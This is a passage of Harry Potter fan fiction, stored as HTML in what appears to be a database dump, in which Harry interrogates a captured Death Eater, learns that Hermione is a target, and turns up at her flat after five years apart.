other?&#8221; Tipton asked. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;The other is the less desirable\none. You could spend the rest of your miserable life holed up in Azkaban with\nnothing but Dementors for company. Now, I don&#8217;t know about you, but I know\nwhich one I&#8217;d choose,&#8221; Harry said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ve already told you that I don&#8217;t\nknow anything,&#8221; Tipton said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We both know that&#8217;s not the truth,&#8221;\nHarry said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay, say I do know something,&#8221;\nTipton said. &#8220;How can you guarantee that they won&#8217;t find me and punish me for\nsuch an act of treason?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We can set you up in the Wizard\nProtection Program,&#8221; Harry said. &#8220;You can get a new name, a new identity, a new\nlife. What other choice do you have, Tipton? You can end this dismal life of\nyours and start things over. We can guarantee your safety, if you can guarantee\nus information. Quid Pro Quo, Tipton, Quid Pro Quo.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You can do that?&#8221; Tipton said,\ntaking the bait. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We can do that,&#8221; Harry said. &#8220;You\nhave my word.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; Tipton said. &#8220;What do you\nwant to know?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We know that the Ministry was the\nnumber one target of your group, but what other places did they have in their\nsights?&#8221; Harry asked. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Not just places, Mr. Potter,&#8221;\nTipton said. &#8220;People.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;People?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes,&#8221; Tipton said. &#8220;Namely Albus\nDumbledore.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;d never be able to get into\nHogwarts,&#8221; Harry said. &#8220;That place has too many hidden protections.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We knew that,&#8221; Tipton said. &#8220;We\nwere going to try and get him while he was at the Ministry, the plan was to\nsend him an emergency owl saying that he was needed immediately at the\nMinistry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, the Ministry has protections,\ntoo,&#8221; Harry said. &#8220;Almost as many as Hogwarts.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We had someone on the inside,&#8221;\nTipton said. &#8220;And before you ask me who it is, no, I don&#8217;t know who it was. All\nI know is that we had someone on the inside.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You expect me to believe that?&#8221;\nHarry asked. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes,&#8221; Tipton said. &#8220;I&#8217;m telling you\nthe Merlin&#8217;s honest truth. We have a number of people stationed at both\nHogwarts and the Ministry. Moles, if you will.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; Harry said. &#8220;But you have no\nidea who these people were?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, besides, I was just a drone,\nMr. Potter.&nbsp; A goon, a stooge, if you\nwill. They weren&#8217;t going to let me in on the big details, you know? All I knew\nwas that there were people on our side stationed throughout both places just\nwaiting to make a move.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And they are still there, right\nnow?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, as far as I know,&#8221; Tipton\nsaid. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay, so Dumbledore was a target,&#8221;\nHarry said. &#8220;Who else?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;There are a couple of researchers\nin the Ministry who we were also looking at. Namely, a Dr. Granger.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione Granger?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, I think that&#8217;s her name,&#8221;\nTipton said. &#8220;The Dark Lord was always impressed with her. Before he died, he\nused to say that she would have been great use to us on our side. He used to\nsay a mind like hers was a terrible thing to waste.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Tell me what the plan for her was,\nnow,&#8221; Harry said, firmly. He could feel the anger rising up in him. A little\nvoice in the back of his head told him that he&#8217;d better keep cool. He couldn&#8217;t\nlet his emotions get the better of him, not now. Not now, when he was so close\nto having the information he&#8217;d been after for so long. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m not really sure,&#8221; Tipton said.\n&#8220;All I know is that she&#8217;s been working on some top-secret research that some of\nour higher authorities wanted. She and her assistant, Dean Thomas.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You better not by lying to me,&#8221;\nHarry said. &#8220;I swear to you, if anything happens to Hermione Granger because\nyou didn&#8217;t tell me all that you knew, I will personally hunt you down and\nyou&#8217;ll wish you were in Azkaban.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I am telling you the truth,&#8221; Tipton\nsaid. &#8220;You know all I know. Honestly.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8230;&#8230;&#8230;..</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ten minutes later,\nHarry walked out of the room. Sirius was sitting on a couch drinking a\nbutterbeer. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Any luck?&#8221; Sirius asked. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Harry said, sitting down. He\ntook off his glasses, and rubbed his eyes. &#8220;I offered Tipton immunity and he\nspilled his guts.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry recounted everything Tipton\nhad told him. Sirius listened, attentively. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione?&#8221; he asked when Harry\nfinished talking. &#8220;Well, what are you going to do?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Me?&#8221; Harry said. &#8220;I can&#8217;t do\nanything. Besides, I think we need to get someone to brief Hermione on the\nsituation and have her on 24-hour surveillance.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So do I,&#8221; Sirius said. &#8220;And I think\nit should be you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Someone else could do it,&#8221; Harry\nsaid. &#8220;Besides, you know that she&#8217;s not going to want to see me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;She might,&#8221; Sirius said. &#8220;She needs\nyou, Harry.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I can&#8217;t. It&#8217;s been too long. Too\nmuch time has passed.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;ve never been one to back away\nfrom a challenge,&#8221; Sirius said. &#8220;And I&#8217;d say you&#8217;ve got a pretty big one here.\nBesides, you said your biggest objective was to keep her safe. She needs you.\nYou might be the only chance she&#8217;s got. We have no idea who&#8217;s on the inside\nplotting against them. You&#8217;re the one, Harry. There&#8217;s no other option.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sirius, you have no idea what\nyou&#8217;re asking me to do,&#8221; Harry said. &#8220;I can&#8217;t.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes you can,&#8221; Sirius said. &#8220;I have\nfaith in you. You can do this. She needs you, Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry just sat there. He knew Sirius\nwas right. Truth be told, he wanted to go. He wanted to see her. She, on the\nother hand, probably had no desire to see him. She&#8217;d probably slam the door in\nhis face. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; he said. &#8220;I&#8217;ll do it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I knew you would make the right\ndecision,&#8221; Sirius said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Harry said. &#8220;So when do I\nleave?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Immediately,&#8221; Sirius said. &#8220;The\nsooner Hermione knows her life is in danger, the better off we&#8217;ll be. I&#8217;m going\nto send an owl to the Ministry requesting wizard surveillance of her flat. You\nbetter get your things together quickly.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; Harry said, following\nSirius. &#8220;What have I gotten myself into?&#8221; Harry thought to himself. &#8220;What have\nI gotten myself into?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">******************************************************************************</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Later that night, Hermione and Ron\nwere walking back to her flat. It was nearly one o&#8217;clock in the morning. Ron\nkept teasing his fianc&#233;e about the yawns that she kept trying to stifle. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione,&#8221; Ron said. &#8220;Weren&#8217;t you\nthe same person who told me she wasn&#8217;t too tired to walk. The same person who\nsaid it was too nice a night to just apparate back to your place.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m just sleepy, not tired,&#8221; she\nsaid. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8217;s the difference?&#8221; he asked. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, you can be sleepy and not be\ntired,&#8221; she said, yawning. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, that settles it,&#8221; he said. &#8220;I\nknow that you are tired because you&#8217;re starting to not make any sense at all.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m too tired to even begin to\nargue with you,&#8221; she said, laughing. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ah-hah!&#8221; Ron said. &#8220;Further proof\nthat you are too tired. You have never been too tired to argue with me.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; she said. &#8220;I am tired. I\ngive up. You were right and I was wrong.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What was that?&#8221; he asked. &#8220;Could\nyou say that again? I think I&#8217;m going to need to hear that one more time.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You heard me,&#8221; she said. &#8220;Don&#8217;t get\nused to that---that whole you being right and me being wrong. I don&#8217;t think\nit&#8217;s apt to happen too often.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They had finally reached the front\nsteps of Hermione&#8217;s flat. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You want me to go up with you?&#8221; he\nasked. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nah, you don&#8217;t have to,&#8221; she said.\n&#8220;I&#8217;m just going to crash, anyway. How much fun could that be?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I love watching you sleep,&#8221; he\nsaid, sincerely. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, after we get married, you can\nwatch me sleep all that you want to, but for now, you have to get home and get\npacked and I have a warm bed calling at me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron was a professional Quidditch\nplayer for the Chudley Canons. He was a keeper and the Canons had a three-game\nroad trip starting tomorrow in Ireland. &nbsp;&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, I know,&#8221; he said. &#8220;You can&#8217;t\nblame me for trying, though.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, you get an A+ for effort,&#8221; she\nsaid. &#8220;Now get out of here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He kissed her softly. &#8220;Okay, okay.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I love you,&#8221; she said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I love you, too,&#8221; he said. &#8220;Now go\nupstairs and go to bed, that&#8217;s a direct order.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You do realize that they took the\nword &#8216;obey&#8217; out of the whole, &#8216;love, honor and cherish&#8217; thing?&#8221; she asked,\nteasingly. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I thought that was just a rumor,&#8221;\nhe said, turning to leave. &#8220;Good night, Hermione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good night, Ron.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione had only been inside her\napartment for a few minutes when the doorbell rang. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Thinking it was Ron making another\nattempt to stay the night, Hermione laughed as she walked toward the door. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I told you that you should go home,\nRon,&#8221; she said, opening the door. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It wasn&#8217;t Ron standing outside her\ndoor, however. &nbsp;It was Harry. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>\n\n\n\n\n\n\n'),
	(255, 5, '\n\n\n\n<p class="MsoNormal">Author&#8217;s Note: <br>\nI just wanted to say thanks for all the kind reviews! I really appreciate you\nguys taking the time to tell me what you think. Keep &#8216;em coming! </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Chapter Five </p>\n\n<p class="MsoNormal">Hello Again</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hi.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hi.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They stood there in silence, staring\nat each other. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What is it?&#8221; Harry finally asked,\nuncertainly. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I&#8217;m&#8212;&#8220;, she began. &#8220;I&#8217;m\ndebating. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Debating what?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m not sure if I want to give you\na hug or smack you upside the head,&#8221; she said with a slight smile. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, if I had a vote, I&#8217;d go for\nthe first option, but I would understand if you did the second,&#8221; Harry said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione let out a nervous laugh.\n&#8220;Come here, you prat!&#8221; She opened her arms. They embraced. It was an awkward\nmoment to say the least. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione broke free and then smacked\nHarry upside the head. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ow!!!&#8221; he yelped. &#8220;Ouch, Hermione!&#8221;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I decided to go for both options,&#8221;\nshe said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I guess I deserved that,&#8221; he said,\nrubbing his forehead. &#8220;That&#8217;s probably gonna hurt in the morning.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She didn&#8217;t say anything. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I deserved that,&#8221; he said. &#8220;I\ndeserve a lot worse than that.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What are you doing here, Harry?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s kind of a long story,&#8221; he\nsaid. &#8220;Can I come in?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, yes,&#8221; she said, ushering him\ninside. &#8220;Please, come on in. Can I get you something to drink or a snack or\nsomething?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, I&#8217;m alright, thanks.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He walked inside and looked around\nat Hermione&#8217;s apartment. It was just like he&#8217;d imagined. There were two large\nbookcases against the living room wall. They were overflowing with books. They\nwas a large beige couch with an afghan draped across it. Harry knew immediately\nthat it must have been a gift from Mrs. Weasley. There were pictures on the\nmantle. Harry walked over to the mantle and upon further inspection noticed\nthat the pictures were of Hermione&#8217;s parents, there was one of Ron, another one\nof Ron and Hermione together and in the corner of the mantle a picture of\nHermione, Ron, and Harry. It was taken the day of graduation. The 18-year old\nkids in that picture waved excitedly at him. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why are you here?&#8221; she asked. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He turned around. He&#8217;d expected that.\nHe had rehearsed what he would say in his mind over and over. Nothing had\nseemed right. He didn&#8217;t respond. He didn&#8217;t know what to say. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I mean, I don&#8217;t see or hear from\nyou for five years and all of a sudden you show up on my doorstep in the middle\nof the night,&#8221; she said. &#8220;What am I supposed to think?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m sorry, Hermione,&#8221; he said,\nsoftly. &#8220;I&#8217;m sorry for everything.&#8221;</p>\n\n<p 